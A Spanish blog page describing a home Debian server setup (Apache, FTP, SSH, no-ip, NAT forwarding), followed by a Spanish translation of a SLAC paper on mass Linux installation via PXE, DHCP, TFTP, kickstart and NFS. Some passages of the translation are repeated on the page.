Instalación de un servidor Debian casero
Ocupé el Cd de instalación Debian 5.0 para servidor, que instala los componentes por red. Le instalé apache, mysql, samba, ssh, soporte php,etc
(El hardware que utilicé es un Compaq Desktop 399 MHz pentium II con Ram 128 Mb y un disco duro de 10 Gb, tarjeta de video Trident de 1 mb y tarjeta de red compaq NC 3121).
Para la instalación ocupe el tutorial de Daniel Clemente http://www.danielclemente.com/servidor/
Como mi IP es dinámica, necesitaría una IP fija (habría que pagar extra en el ISP), así que utilicé noip
http://www.no-ip.com
Guía instalación programa no-ip http://www.entrebits.cl/linux/guias-linux/guia-servidor-web-con-ip-din-mica.html
- Para que el noip2 se iniciara automáticamente hay editar el archivo /etc/rc.local, agregándole:
/usr/local/bin/noip2
/usr/local/bin/noip2
exit 0
Tuve que fijar la IP interna como estática (no-DHCP), para asignar esa IP a mi configuración del host, en el archivo: /etc/hosts y más adelante en la configuración de virtualhost y también en el NAT (ruteo del MODEM-router en mi caso SpeedTouch510)
Para que sea visto el internet desde afuera tuve que darle la ruta, aplicando NAT o NAPT al router (si tu modem-router Adsl viene bloqueado, no se podrá rutear y no funcionará nada de nada del servidor).
Para ello añadí 3 dominios al no-ip free de http://www.no-ip.com/, entonces necesitaba que el servidor levantara cada uno de ellos con 3 páginas web diferentes. Para eso configurar Virtual Hosts. # Please see the documentation at URL: http://httpd.apache.org/docs/2.2/vhosts/
En lo mismo: /etc/hosts, hay que darle la IP local a cada host. La misma IP local se repite.
Ejemplo archivo hosts:
127.0.0.1 localhost
10.0.0.2
servidoruno.no-ip.org
10.0.0.2 paginawebdos.servegame.com
Después instalé el FTP http://www.frikis.org/staticpages/index.php?page=proftpd
Tuve que hacer NAT al puerto para ftp: 21
Para que funcionara ssh abrí por NAT el puerto 22.
Para que funcionara apache abrí por NAT el puerto 8.
Funciona perfectamente solo si está bien configurado.
miércoles, 2 de junio de 2010
viernes, 13 de noviembre de 2009
Instalar Linux 100% por Red
Una propuesta general de alto rendimiento de Infraestructura de instalación Linux
Trabajo respaldado por contrato del Ministerio de Energía AC USA
Alf Wachsmann - Stanford Linear Accelerator Center (SLAC), Stanford University, Menlo Park, CA USA
http://www.slac.stanford.edu/~alfw/Publications/SLAC-PUB-9193.pdf
Extracto
Con más y más grandes clusters (grupos) de Linux, la pregunta que aparece es cómo instalarlos. Este trabajo aborda esta pregunta proponiendo una solución usando solamente componentes de software estándar. Son instalaciones de infraestructura en escala y está bien para un número grande de nodos. Es también utilizable para instalar computadoras de escritorio o clientes de Linux sin disco duro, por lo tanto, no está diseñado solo para instalaciones de clusters (grupos) en particular, pero es no obstante, de alto rendimiento.
La infraestructura propuesta usa PXE como el componente de booteo de la red en los nodos. Usa DHCP y servidores de TFTP para conseguir una dirección IP y un bootloader (gestor de arranque) para todos los nodos. Luego la usaremos como booteo kickstart (arranque) para instalar Linux Red HAT a través de NFS.
Hemos implementado esta infraestructura de instalación en SLAC (Stanford Linear Accelerator Center) con nuestro hardware servidor en particular e instalado un cluster (grupo) de 256 nodos en 30 minutos. Este trabajo presenta las mediciones desde esta instalación y se analizan los obstáculos en nuestra instalación.
1. Introducción
El problema de re-instalar una gran cantidad de máquinas Linux en un lapso muy corto de tiempo es más difícil conseguir a mayor número de máquinas a instalar.
Dos ejemplos de grandes instalaciones de clúster (grupos) de Linux: Muchas empresas dot.com tienen varios miles de máquinas Linux en su clúster de servidores WEB.
En los cuatro experimentos del LHC, en el CERN, se proponen organizaciones Linux con varios miles de máquinas.
LHC, Large Hadron Collider (acelerador y colisionador de partículas).
CERN, Conseil Européen pour la Recherche Nucléaire (Organización Europea para la Investigación Nuclear).
El proyecto de EU DataGrid [1] tiene incluso un paquete de trabajo dedicado a "Red de gestión" [2] para investigar más a fondo cómo instalar y mantener grandes clusters (grupos).
EU DataGrid: recursos distribuidos para el procesado de grandes volúmenes de información, basados en clusters de PC conectados por switches de alta velocidad con sistema operativo Linux con servidores de disco y de aplicaciones diferenciados.
La dificultad es que existen muchas herramientas y set de herramientas para tratar de resolver este problema de instalación o actualización. Pero la mayoría si no todas, asume que el hardware no es diverso y está utilizando algún tipo de técnicas de clonación de discos (por ejemplo, Systemimager [12]). Este enfoque no funciona para las organizaciones con hardware heterogéneo y hace que sea necesario disponer de una infraestructura de instalación de grupos de nodos homogéneos y otro para las más diversas máquinas. Otras herramientas como IBM LUI [5] están tratando con esta diversificación de hardware. Pero conseguir (por ejemplo) todas las configuraciones de máquinas de escritorio para un sitio muy grande es una pesadilla. El instalador de Red Hat "Anaconda" es ideal para cada una de estas situaciones, ya que sondea los equipos e instala los controladores necesarios y paquetes de software automáticamente. "Anaconda" es ejecutada automáticamente desde el booteo kickstart y el programa instala automáticamente Red Hat. La pregunta que surge, es si esta instalación bastante general se enfoca a escala para un gran número de máquinas para ser instaladas o si realmente cobra sentido tener un cluster especial de infraestructura de instalación.
Otro objetivo de nuestro enfoque es utilizar sólo los servidores y servicios que ya están en marcha y que pueden ser reutilizados para otros fines.
A diferencia de un servidor "rsync", el cual sólo puede ser utilizado para "systemimager" (por tomar sólo un ejemplo), un servidor DHCP para el grupo de nodos de instalación, también puede ser utilizado para la instalación de máquinas de escritorio. Además, una imagen del sistema en particular -para fijarnos en el ejemplo “systemimager” - puede solo ser utilizado sobre exactamente el mismo hardware. Considerando que un set de RPM (Red Hat Package Manager ") usados por "Anaconda" es utilizable para todos los instalaciones Linux.
"NPACI's Rocks" [9] contiene paquetes de este tipo con propósito de instalación de infraestructura general, pero alguna intervención manual sigue siendo necesaria y su enfoque es de re-instalar una máquina cada vez que bootea (arranque). Nos gustaría buscar una solución menos radical. Además, "Rocks" está destinado a instalar sólo pequeños grupos de hasta 128 nodos [8]. Teniendo en cuenta todo esto, los objetivos de diseño de nuestra infraestructura Linux de instalación, son los siguientes: 1. Utilizar sólo los servicios estándar, los cuales ya están en el lugar y se puede utilizar para otros fines. 2. Hacerlo altamente escalable para permitir la instalación de miles de máquinas al mismo tiempo. Este trabajo describe nuestra solución y damos algunos resultados de referencia de nuestra aplicación para demostrar su viabilidad. En la siguiente sección vamos a describir todos los componentes de nuestra infraestructura. En la Sección 3 se describen las características de escalabilidad de la infraestructura y en la sección 4 se presenta las mediciones que efectuamos instalando hasta 256 nodos al mismo tiempo.
2. Arquitectura de la infraestructura de instalación
Nuestra arquitectura para la instalación de grandes clusters (grupos) de Linux facilita la capacidad de arranque de red (Pre-boteo Ejecución Ambiente PXE [6]) de las tarjetas de red de interfaz moderna (NIC's).
Esto requiere servidores DHCP y TFTP para obtener los programas necesarios y los archivos de configuración para los clientes.
La cadena de programas cargados e iniciados desde PXE son:
Un bootloader (gestor de arranque), un Kernel-Linux (núcleo de Linux), y un disco RAM inicial para este núcleo.
El kernel de Linux inicia el booteo kickstart para instalar Red Hat Linux. Después de que Linux esté instalado, un proceso de post-instalación, hace necesarias adaptaciones locales.
La figura 1 muestra todos los servidores necesarios para la arquitectura propuesta en su aspecto más general.
Figura 1: Arquitectura General del entorno de la Instalación
En las siguientes secciones vamos a describir todos los componentes utilizados en más detalle. Y vamos a presentar algunos scripts de pegar, que todo lo unen para hacer una instalación masiva y completamente automática y desatendida. Los detalles técnicos y todos los scripts mencionados están disponibles en [13].
2.1. Preboot Execution Environment (PXE) (Entono de Ejecución de Pre-booteo) Para bootear (arrancar) un PC Intel través de la red, la mayoría de las NICs (tarjetas de red), están equipadas con PXE, un estándar propuesto por Intel.
El primer paso en este procedimiento es la emisión DHCP (broadcast) desde un cliente para obtener su dirección IP. Esto permite que el servidor PXE envíe la dirección IP y un menú al cliente de tal manera que el usuario pueda elegir qué sistema operativo podría ser instalado en su sistema.
PXE en el cliente a continuación, carga un bootloader (gestor de arranque) por TFTP que a su vez carga el sistema operativo elegido.
Sólo necesitamos la parte de DHCP y TFTP para obtener una dirección IP y un bootloader (gestor de arranque) sobre cada máquina. Siempre instalaremos Linux como sistema operativo. Por lo tanto, no necesitamos un servidor PXE, sólo un servidor DHCP y servidor TFTP.
2.2. DHCP Por varias razones, cada máquina en SLAC necesita una dirección IP estática. Por lo tanto, nosotros no podemos ofrecer simplemente una gama de direcciones IP libres a nuestro servidor DHCP, que se asignarían a los clientes en orden cronológico de sus solicitudes. Para permitir la asignación de direcciones IP estáticas a través de DHCP, el servidor DHCP necesita saber de todos los clientes las direcciones MAC de antemano. Esto no es un problema para las máquinas que ya están corriendo y necesitan ser reinstaladas. Para las máquinas nuevas con direcciones MAC desconocidas hay varias posibilidades para lograr esto. 1. Obtener una lista de direcciones MAC y los números de serie de la máquina del proveedor y realice un seguimiento de cada máquina durante el armado. 2. Todas las máquinas tienen etiquetas de código de barras que contiene su dirección MAC. Después las máquinas son colocadas y pueden ser escaneados en su orden de ubicación. 3. Cambie las máquinas en el orden que desee, las direcciones IP asignadas a ellos.
Examine el archivos de registro dhcpd logfiles de recepción de solicitudes y asignación de las direcciones IP de acuerdo con este orden. Esta tercera opción es elegida por NPACI para "Rocks" [9]. Todo esto es angustioso, necesita un esfuerzo adicional y está propenso a errores de hardware. El tercer enfoque depende en gran medida del timing (sincronización) en que las máquinas son encendidas. 2.2.1. Detección de direcciones MAC Hemos desarrollado un script para detectar las direcciones MAC de forma automática y al vuelo, mientras los clientes realizan su transmisión (broadcast) PXE - DHCP. Esta emisión (broadcast), envía una señal por Ethernet a través del switch (conmutador) para encontrar un servidor DHCP. El switch, ve esta nueva dirección MAC en uno de sus puertos y llena su "bridging table" ("tabla de puente") con esta información. Nuestro switch (conmutador) Cisco Catalyst 6509, puede consultar a través de SNMP (Simple Network Management Protocol) Protocolo Simple de Administración de Red, la lectura de la tabla de bridge.
Las direcciones IP pueden ser ahora asignadas en el orden de los puertos del switch: la máquina con la dirección MAC que fue vista en el primer puerto, obtiene la primera dirección IP y así sucesivamente. El único requisito para que esta técnica trabaje y funcione es un cableado Ethernet cuidadoso entre las máquinas y el switch. La máquina en la primera posición en el rack (bastidor), debe estar conectada al primer puerto del switch, la segunda posición en el rack debe ser conectada al segundo puerto, y así sucesivamente. Este orden determina el orden en que las direcciones IP son asignadas a las máquinas. Nuestro script de Perl que consulta al switch, toma como entrada sólo el nombre del switch, las tarjetas en el switch y los puertos sobre estas tarjetas a buscar.
Se genera un nuevo archivo de configuración del servidor DHCP (dhcpd.conf) con todas las direcciones MAC previamente desconocidas que se agregan. Un segundo script, observa este archivo dhcpd.conf y se detiene e inicia el servidor DHCP siempre que el archivo de configuración haya cambiado.
Todo este proceso es un momento altamente crítico, porque el PXE standard requiere que los clientes emitan sólo 2 peticiones DHCP. Por lo tanto, nuestro script lee todo el archivo dhcpd.conf, sola una vez al principio y lo mantiene en la memoria. Cada vez que agrega una o más direcciones MAC, se escribe el archivo entero en vez de editarlo. Todos los cambios realizados a este archivo entretanto por otros scripts serían anulados y reemplazados. Volveremos a este punto en la sección 2.4.2. Con este truco de programación y nuestros clientes que emiten sobre 10 peticiones DHCP, lo cual toma a la larga sobre 1 minuto el tiempo de espera. Tenemos tiempo suficiente para detectar las direcciones MAC automáticamente.
2.3. TFTP
PXE plantea algunos requisitos en el servidor TFTP que se pueda utilizar. Para obtener más información acerca de los requisitos especiales, véase el debate H. Peter Anvin en [4]. Un open source server (servidor de código abierto) que cumple estas condiciones es el servidor TFTP de Jean-Pierre Lefebvre y Remi [7]. Este servidor TFTP es capaz de correr como un demonio independiente que mejora el rendimiento, en comparación con un servidor TFTP de un proceso iniciado por inetd.
2.4. Bootloader
El programa gestor de arranque se carga desde PXE a través de TFTP al cliente y a continuación start (comienza).
Estamos utilizando el gestor de arranque pxelinux.0 de H. Peter Anvin de su paquete de syslinx [4]. Que carga su propio archivo de configuración a través de TFTP y ejecuta lo que sea que este archivo de configuración dicta.
2.4.1. Configuración del Bootloader (gestor de arranque)
Si el archivo de configuración del bootloader (gestor de arranque), le dice al gestor de arranque que realice una carga de inicio de red, (en nuestro caso) un Linux Kernel(núcleo Linux) y su disco “inital RAM” (RAM de inicio) a través de la red en el cliente. El gestor de arranque entonces inicia el kernel de Linux con todos los parámetros necesarios lo cual se encuentra en su archivo de configuración. Estos parámetros le dicen al núcleo que realice un booteo kickstart de instalación y que busque el archivo de configuración del booteo en una cierta localización de un servidor NFS.
En el caso de que su archivo de configuración le indique que debe efectuar el arranque desde el disco duro local, hará precisamente esto. El bootloader (gestor de arranque) pxelinux.0 nos permite tener un archivo de configuración independiente para cada cliente. El nombre del archivo es la dirección IP de la máquina en notación hexadecimal sin puntos. Esta característica es útil para prevenir las re-instalaciones interminables.
2.4.2. Prevención de Re-Installations interminables
Después que la instalación del sistema operativo está completa, se reinicia el equipo. Debido a que el BIOS está configurado para arranque PXE, necesitamos un mecanismo para evitar una nueva instalación. La solución obvia, es cambiar la configuración del servidor DHCP no dando al cliente un nombre de archivo para que la fase siguiente TFTP no funcione en esta situación. Véase la sección 2.2.1. para ver las razones. pxelinux.0 partir de la versión 1.53 comprende un " parámetro localboot " en su archivo de configuración. Este parámetro le indica al bootloader (gestor de arranque) que inicie el proceso de arranque desde el disco duro local y así evitar una nueva instalación por red. Todos tenemos que tener cuidado de cambiar el archivo de configuración para cada cliente después de que se lleve a cabo la instalación. Transferiremos un marcador adicional (vacío) a través de TFTP al final de la fase de booteo. Esto añade una entrada en syslog en el servidor TFTP. Con esta transferencia de archivos adicionales es muy sencillo escribir un script que busca en el log file (archivo de registro) de syslog y verifique en el archivo marcador de transferencia y cambie la configuración del archivo pxelinux para la máquina que recibió este archivo. Iniciando una instalación masiva, el archivo de configuración del bootloader (gestor de arranque) de cada máquina está enlazado a un archivo que le permita realizar un arranque de red. El mecanismo descrito anteriormente elimina este enlace simbólico cuando la máquina esta completa (is done) y crea uno nuevo que apunta a un archivo diciéndole a la máquina efectue el arranque desde su disco duro local.
2.5. Booteo kickstart sobre eth1
Si nuestras máquinas clientes tienen dos NIC: "eth0" se encuentra en la placa base y "eth1" en una tarjeta PCI. Debido a que la NIC de la placa base no pueda realizar un arranque de red PXE, tendremos que conectar las máquinas a través de "eth1". La versión de producción de Red Hat Linux en el SLAC es todavía 6,2. El programa de instalación de Red Hat "Anaconda" que viene con esta versión no nos permite seleccionar un adaptador Ethernet específico para realizar la instalación - que está codificada para "eth0". Por lo tanto, tendremos que cambiar esto a "eth1" en el código fuente de “anaconda" compilarlo y generar un nuevo disco initial RAM (initrd.img). "Anaconda" en Red Hat 7 y posteriores tienen un nuevo parámetro "ksdevice" precisamente para este propósito.
2.5.1. Mountando NFS
Se puede hacer la instalación del booteo Kickstart, ya sea desde un medio adjunto conectado localmente (en el disco duro o CD-ROM) o través de la red a través de FTP, HTTP o NFS. Tenemos un servidor que mantiene de forma centralizada (localmente modificada) la distribución Red Hat en NFS. El booteo kickstart monta este sistema de archivos y obtiene todos los paquetes de software necesarios desde ahí. El archivo de configuración del booteo kickstart determina el nombre del servidor NFS y el sistema de ficheros a montar.
2.5.2. %post
El último paso en una instalación kickstart es ejecutar la sección "post%" del archivo de configuración de booteo kickstart. Estamos utilizando este paso para desactivar los servicios innecesarios e instalar nuestro script real post-instalación.
3. Escalabilidad
Metas primarias del diseño para la instalación de esta infraestructura son la escalabilidad y el rendimiento. Para los sitios más pequeños, la escalabilidad baja es una consecuencia, así como que la escalabilidad suba para los grandes sitios. Nuestra infraestructura satisface ambas necesidades.
3.1. Escalabilidad Baja
Todos los servidores (DHCP, TFTP, NFS) y todos los control de scripts pueden funcionar juntos en una sola máquina. Este podría ser la típica operación de esta instalación de infraestructura día a día, cuando se utiliza también para instalar las máquinas de escritorio con Linux, donde la carga no es muy alto para cada servidor/servicio. Dependiendo de las necesidades de rendimiento individual, cada uno de estos servicios puede trasladarse a su propia máquina.
3.2. Escalabilidad Alta
Con la forma en que el control de Script (secuencias de comandos) funciona, incluso es posible utilizar más de una máquina para cada servicio. Si los clientes se conectan a más de un switch, utilice una instancia de script de detección de la dirección MAC para cada switch. Cada instancia se puede ejecutar en un equipo diferente y puede poner detectar las direcciones MAC en varios ficheros de configuración para diferentes servidores DHCP. Cada entrada de host de esos archivos puede tener una entrada diferente de servidor TFTP. Finalmente, cada archivo de configuración de pxelinux puede contener un nombre diferente del servidor NFS. La forma más sencilla de lograr una distribución equitativa de los clientes a los servidores es asignar a los clientes en un ronda-robin a la medida de los servidores.
4. Performance (Rendimiento)
Para nuestras pruebas de evaluación comparativa teníamos dos servidores disponibles para servir a los paquetes de Linux a los clientes, uno con 100 Mb/s, y otro con 1 Gb/s de conectividad de red. Tuvimos que instalar 256 máquinas clientes.
Es bastante claro que el servidor con 100 Mb/s de conexión no tiene ninguna chance de servir a 256 clientes. Por lo tanto tratamos de instalar sólo 128 clientes.
La figura 2 muestra la salida total que viene de la red procedente de este servidor, vista en el switch que está conectado. El link (vínculo) está completamente saturado con cerca de 93 Mb/s de rendimiento.
La caída profunda en el gráfico marca el final de la instalación de Linux y el inicio de nuestro script post-instalación local, que utiliza el mismo servidor par su propia instalación.
La Figura 3 muestra un histograma de cuántos clientes y que cantidad de tiempo necesitaron para terminar su instalación del sistema operativo.
Los tiempos son discretos en intervalos de 5 segundos. Le tomó 45 a 47 minutos para las máquinas que se instalaron.
Tenga en cuenta que los gráficos contienen datos de sólo 105 clientes a pesar de que se comenzó la instalación de 128 máquinas. Resulta que siempre hay máquinas que tienen problemas (como problemas de hardware) que les impide terminar su instalación.
Figura 2: salida de la red de 100 Mb/s conectados al servidor NFS durante la instalación de Linux de 105 máquinas.
Figura 3: Distribución: Duración de la instalación del sistema operativo Linux con 105 máquinas y conexión de 100 Mb/s al servidor NFS.
4.1. Estimación
Antes de hacer una instalación con el servidor-rápida conectado, primero hacer algunos cálculos de lo que podemos esperar de este cambio.
Los 256 clientes se conectan con fast Ethernet (Ethernet rápido). 256 x 100 Mb/s = 25,6 Gb/s. Así pues, el enlace de 1 Gb/s recibirá un exceso de 25 veces de solicitudes.
Algunas instalaciones manuales sugieren que dar booteo kickstart a la red, pero no está relacionado a la CPU y/o al disco. Usando la misma máquina cliente una vez en 100 Mb/s y otra vez en 10 Mb/s de conexión Ethernet no hay prácticamente ninguna diferencia en el tiempo de instalación. Cualquiera de las instalaciones tarda unos 10 minutos. Dada la cantidad de 830MB de datos que se instala en una máquina, el siguiente cálculo de rendimiento puede hecho: 830MB/10min= 11Mb/s
Dado que este tipo de datos se produce en cada una de las 256 máquinas, la subida de 1Gb/s tendrá sólo un exceso de solicitudes de: 1,4 veces [11 Mb/s * 256] /1 Gb/s = 1,4 veces
Por lo tanto, el tiempo estimado para la instalación de 256 máquinas puramente basado en el rendimiento nominal de red es de: 14 min 1,4 * 10 min = 14 min
No estaba claro cómo el servidor NFS rinde con tantos clientes conectados a él y leyendo sólo archivos de tamaños pequeños y medianos.
4.2. Configuración de Hardware
La infraestructura de instalación descrita, fue elaborado para instalar una nueva agrupación de 256 máquinas 1RU dual PIII VA1220 [11]. Cada nodo está conectado a través de un enlace fast Ethernet de 100 Mb/s a un switch. Ahora todos los nodos están conectados al mismo switch. El switch es un Cisco Catalyst 6509 con un 1 Gb/s de conexión de enlace ascendente de la agrupación de PCs a una red troncal Ethernet multi-gigabit.
El servidor DHCP y servidor TFTP se conectan a través de fast Ethernet. El servidor NFS utilizado para servir los paquetes de Linux a los clientes es una red de NetApp F760 Appliance filer con 1 Gb/s de conexión Ethernet, 1 GB de memoria principal, y un total de 1 TB de espacio en disco duro.
Este conjunto de máquinas es "prestada" y no utilizada exclusivamente para esta instalación de Linux.
Por lo tanto, vemos algunos pequeños usos para otros fines que (después del hecho) resultó ser lo suficientemente livianos como para no afectar el rendimiento de instalación en modo alguno.
4.3. Mediciones
Las 256 máquinas clientes se encienda de forma remota a través de VACM [10] en aproximadamente 1 minuto. A continuación, realizaron un broadcast de DHCP (emisión de DHCP), seguidos de tres descargas TFTP y luego un booteo kickstart de instalación de Red Hat Linux a través de NFS. Una vez más, nuestros clientes resultaron ser no muy fiables, con sólo 206 máquinas que en realidad pudieron terminar su instalación.
La Figura 4 muestra un histograma de la cantidad de máquinas y qué cantidad de tiempo necesitaron desde la última descarga de TFTP, hasta que finalizaron la fase de booteo kickstart. Este es el momento para instalar el sistema operativo Linux en las máquinas. Los tiempos son discretos en intervalos de 5 segundos. La máquina más rápida estaba lista después de 29:35 minutos, el equipo más lento tomó 31:00 minutos. El tiempo promedio es de 30:23 minutos.
Figura 4: Distribución: Duración de la instalación del sistema operativo Linux.
Este es el doble del tiempo sugerido por el cálculo de rendimiento de la red.
Figura 5: Lecturas de disco en el servidor de archivos NFS durante la instalación de Linux.
Nota: El Network File System (Sistema de archivos de red), o NFS, es un protocolo de nivel de aplicación, según el Modelo OSI. Es utilizado para sistemas de archivos distribuido en un entorno de red de computadoras de área local. Posibilita que distintos sistemas conectados a una misma red accedan a ficheros remotos como si se tratara de locales.
Las lecturas del disco de los archivos NFS durante la instalación son muy moderadas, como puede verse en la Figura 5 (todas las mediciones en el servidor NFS de Network Appliance se hace con el comando sysstat con una salida cada 10 segundos).
La distribución Linux completa, cerca de 835 MB se mantienen en su caché (el archivo tiene 1 GB de memoria), de modo que no son necesarios tener acceso a múltiples discos para servir a múltiples clientes.
Como se observa en la figura 6, la utilización de la CPU del servidor de archivos NFS no es tampoco la razón del tiempo más lento de la instalación.
La utilización es de aproximadamente el 83% con algunos peaks y caídas. En todos nuestros días, al usar estos archivos, vemos hasta un 95% - 100% de utilización de CPU en las horas peaks.
Figura 6: Uso de la CPU del servidor NFS durante la instalación de Linux.
Figura 7 muestra la salida de la red real que se observa en el servidor de archivos NFS durante la instalación de Linux. El archivero es capaz de entregar alrededor de 370 Mb/s sostenidamente sobre su salida de red de 1 Gb/s enlace. Para nuestro caso usado de 256 clientes sólo leyendo archivos de pequeños y mediano tamaño, esto parece razonable.
Figura 7: Salida de red del servidor NFS, durante la instalación de Linux en 206 máquinas.
Si comparamos estas cifras de rendimiento con los obtenidos en otra instalación de prueba con tan sólo 110 clientes, vemos que con la mitad de los clientes conectados, el servidor de archivos ya ofrece alrededor de 370 Mb/s de salida de red (véase la figura 8).
No se puede escalar mucho más sobre estos rangos con mayor número de clientes conectados. Por lo tanto, el servidor de ficheros NFS que actúa como servidor de la distribución de Linux durante el booteo kickstart, es el cuello de botella en nuestras instalaciones! Tenga en cuenta que esto no es una limitación de la infraestructura en general propuesta, sino de nuestra aplicación en nuestro hardware existente y disponible.
Figura 8: Salida de la red del servidor NFS de Linux durante la instalación de 110 máquinas. Para superar este cuello de botella, se puede utilizar más de un servidor de archivos y distribuir la carga del cliente de manera uniforme sobre ellos. Esto se puede hacer, teniendo un archivo de configuración con booteo kickstart diferente para cada servidor NFS el cual es asignado (por ejemplo, a través de "round-robin” metodo de selección equitativa y ordenada) a las máquinas de Linux por el archivo de configuración PXE.
5. Futuras Aplicaciones
Hemos usado esta infraestructura para recientemente instalar Linux en nuevas máquinas. El mismo método se puede utilizar para re-instalaciones en las máquinas. Esto es necesario para upgrades (actualizaciones de sistemas), pero puede también ser necesario cuando un trabajo por lotes requiere un sistema operativo en un clúster de máquinas que no está actualmente almacenada en su disco duro. Dado que un programador de horarios por lotes de todos los trabajos que requiere este nuevo sistema operativo de forma consecutiva y teniendo en cuenta servidores de archivos más rápidos, esto podría ser factible. Con todos los servidores en su lugar, ahora también es sencillo de aplicar un complemento a esta infraestructura para la instalación automática y desatendida máquina de escritorio. Una manera de hacer esto, es el diseño de una página web donde un usuario proporciona una dirección MAC y la configuración de hardware (el tamaño del disco en particular). La parte de atrás-script final sería añadir una entrada en el archivo de configuración del servidor DHCP y facilitará un adecuado archivo de configuración kickstart. La máquina de escritorio puede ser arrancado con un genérico de instalación de Red Hat Linux disquete. Más general el procedimiento de instalación de escritorio, podría incluso favorecer la funcionalidad PXE completo: un usuario podría elegir si s / que quiere instalar Linux o Windows en su máquina de mesa, de la suya. Incluso los clientes sin disco (ver LTSP [3]) no son difíciles de apoyar con la infraestructura de instalación dada en su lugar.
Con todos los servidores en su lugar, ahora también es sencillo implementar un complemento a esta infraestructura, para la instalación automática y desatendida de máquinas de escritorio.
Una manera de hacer esto, es diseñar una página web donde un usuario proporcione una MAC address (dirección MAC) y la configuración de hardware (el tamaño del disco duro en particular).
La parte de final del script, sería añadir una entrada en el archivo de configuración del servidor DHCP y proporcione un adecuado archivo de configuración del booteo kickstart.
La máquina de escritorio puede ser booteada (arrancar) con un disquete de instalación genérica de Linux Red Hat.
Un procedimiento más general de instalación de escritorio, podría incluso favorecer la completa funcionalidad de PXE : un usuario podría elegir si s/él quiere instalar Linux o Windows sobre su máquina de escritorio.
Incluso en los clientes sin disco (ver LTSP [3]) no es difícil apoyarlos con darle instalación de infraestructura dada en su lugar
6. Conclusiones
En este trabajo, presentamos una propuesta de infraestructura general de alto rendimiento de instalación de Linux. Hemos puesto en marcha esta infraestructura y realizado la instalación en un cluster (grupo) de tamaño mediano de hasta 256 nodos, en 30 minutos. Si un menor tiempo de instalación es necesario o si hay más clientes que necesitan ser instalados, la presente infraestructura permite a cada servicio individual (TFTP, DHCP, NFS) ser distribuidos en más de un solo servidor físico
Es sencillo modificarle los script presentados, para llevar a cabo un “round-robin” de equilibrio en la carga sobre todos estos servidores. Con estos cambios, la arquitectura que aparece debería ser capaz de instalar clusters de miles de nodos, como será necesario hacerlo en el futuro muy próximo. Nuestras mediciones ofrecen algunos datos puntuales, que permiten predecir aproximadamente la forma de ampliar su infraestructura de instalación según sus necesidades.
References
[1] EU DataGrid. http://www.eu-datagrid.org
[2] EU DataGrid Work Package 4: Fabric Management. http://hep-proj-grid-fabric.web.cern.ch/hep-proj-grid-fabric/
[3] Linux Terminal Server Project. http://www.ltsp.org/
[4] H. Peter Anvin. Syslinux/pxelinux: A boot loader for linux. http://syslinux.zytor.com/
[5] IBM. Linux Utility for Cluster Installation (LUI). http://oss.software.ibm.com/developerworks/projects/lui
[6] Intel Corporation. Preboot Execution Environment (PXE) Specification Version 2.1. ftp://download.intel.com/ial/wfm/pxespec.pdf
[7] Jean-Pierre and Remi Lefebvre. atftp ftp://ftp.mamalinux.com/pub/atftp/
[8] Philip M. Papadopoulos. VA Linux 1220. Talk at the "Large-Scale Cluster Computing Workshop (LCCWS) 2001", http://conferences.fnal.gov/lccws/
[9] Philip M. Papadopoulos, Mason J. Katz, and Greg Bruno. NPACI Rocks: Tools and Techniques for Easily Deploying Manageable Linux Clusters. In Submitted to: Proceedings of the Cluster 2001, October 2001.
[10] VA Linux Systems, Inc. VA-Cluster Manager. http://sourceforge.net/projects/vacm/
[11] VA Linux Systems, Inc. VA Linux 1220. http://www.valinux.com/systems/productinfo.html?product=1220
[12] VA Linux Systems, Inc. VA Linux SystemImager Software. http://systemimager.org/
[13] Alf Wachsmann. Howto Install Red Hat Linux via PXE and Kickstart. http://www.SLAC.Stanford.EDU/~alfw/PXE-Kickstart/
Trabajo respaldado por contrato del Ministerio de Energía AC USA
Alf Wachsmann - Stanford Linear Accelerator Center (SLAC), Stanford University, Menlo Park, CA USA
http://www.slac.stanford.edu/~alfw/Publications/SLAC-PUB-9193.pdf
Extracto
Con más y más grandes clusters (grupos) de Linux, la pregunta que aparece es cómo instalarlos. Este trabajo aborda esta pregunta proponiendo una solución usando solamente componentes de software estándar. Son instalaciones de infraestructura en escala y está bien para un número grande de nodos. Es también utilizable para instalar computadoras de escritorio o clientes de Linux sin disco duro, por lo tanto, no está diseñado solo para instalaciones de clusters (grupos) en particular, pero es no obstante, de alto rendimiento.
La infraestructura propuesta usa PXE como el componente de booteo de la red en los nodos. Usa DHCP y servidores de TFTP para conseguir una dirección IP y un bootloader (gestor de arranque) para todos los nodos. Luego la usaremos como booteo kickstart (arranque) para instalar Linux Red HAT a través de NFS.
Hemos implementado esta infraestructura de instalación en SLAC (Stanford Linear Accelerator Center) con nuestro hardware servidor en particular e instalado un cluster (grupo) de 256 nodos en 30 minutos. Este trabajo presenta las mediciones desde esta instalación y se analizan los obstáculos en nuestra instalación.
1. Introducción
El problema de re-instalar una gran cantidad de máquinas Linux en un lapso muy corto de tiempo es más difícil conseguir a mayor número de máquinas a instalar.
Dos ejemplos de grandes instalaciones de clúster (grupos) de Linux: Muchas empresas dot.com tienen varios miles de máquinas Linux en su clúster de servidores WEB.
En los cuatro experimentos del LHC, en el CERN, se proponen organizaciones Linux con varios miles de máquinas.
LHC, Large Hadron Collider (acelerador y colisionador de partículas).
CERN, Conseil Européen pour la Recherche Nucléaire (Organización Europea para la Investigación Nuclear).
El proyecto de EU DataGrid [1] tiene incluso un paquete de trabajo dedicado a "Red de gestión" [2] para investigar más a fondo cómo instalar y mantener grandes clusters (grupos).
EU DataGrid: recursos distribuidos para el procesado de grandes volúmenes de información, basados en clusters de PC conectados por switches de alta velocidad con sistema operativo Linux con servidores de disco y de aplicaciones diferenciados.
La dificultad es que existen muchas herramientas y set de herramientas para tratar de resolver este problema de instalación o actualización. Pero la mayoría si no todas, asume que el hardware no es diverso y está utilizando algún tipo de técnicas de clonación de discos (por ejemplo, Systemimager [12]). Este enfoque no funciona para las organizaciones con hardware heterogéneo y hace que sea necesario disponer de una infraestructura de instalación de grupos de nodos homogéneos y otro para las más diversas máquinas. Otras herramientas como IBM LUI [5] están tratando con esta diversificación de hardware. Pero conseguir (por ejemplo) todas las configuraciones de máquinas de escritorio para un sitio muy grande es una pesadilla. El instalador de Red Hat "Anaconda" es ideal para cada una de estas situaciones, ya que sondea los equipos e instala los controladores necesarios y paquetes de software automáticamente. "Anaconda" es ejecutada automáticamente desde el booteo kickstart y el programa instala automáticamente Red Hat. La pregunta que surge, es si esta instalación bastante general se enfoca a escala para un gran número de máquinas para ser instaladas o si realmente cobra sentido tener un cluster especial de infraestructura de instalación.
